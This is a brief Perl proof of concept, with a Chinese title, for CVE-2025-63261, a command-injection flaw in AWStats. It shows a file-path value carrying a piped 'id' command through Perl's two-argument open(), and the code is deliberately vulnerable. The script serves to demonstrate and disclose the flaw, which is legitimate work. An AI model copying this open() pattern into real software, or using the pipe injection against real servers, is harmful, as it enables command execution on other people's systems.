CVE-2025-63261 AWStats命令注入漏洞

#!/usr/bin/perl # Proof of Concept for CVE-2025-63261 # Demonstrates command injection via the open function in AWStats use strict; use warnings; # Simulating vulnerable open function usage # In a real scenario, $user_input comes from an untrusted source (e.g., HTTP parameter) my $user_input = "/var/log/apache2/access.log | id |"; print "Attempting to open file with input: $user_input\n"; # Vulnerable code pattern: open(FILE, $user_input) # If $user_input contains a pipe '|', Perl executes the command after it. # This mimics the vulnerability in AWStats 8.0 if (open(my $fh, $user_input)) { while (my $line = <$fh>) { print $line; } close($fh); } else { print "Failed to open.\n"; } # Expected output: The result of the 'id' command, indicating command execution.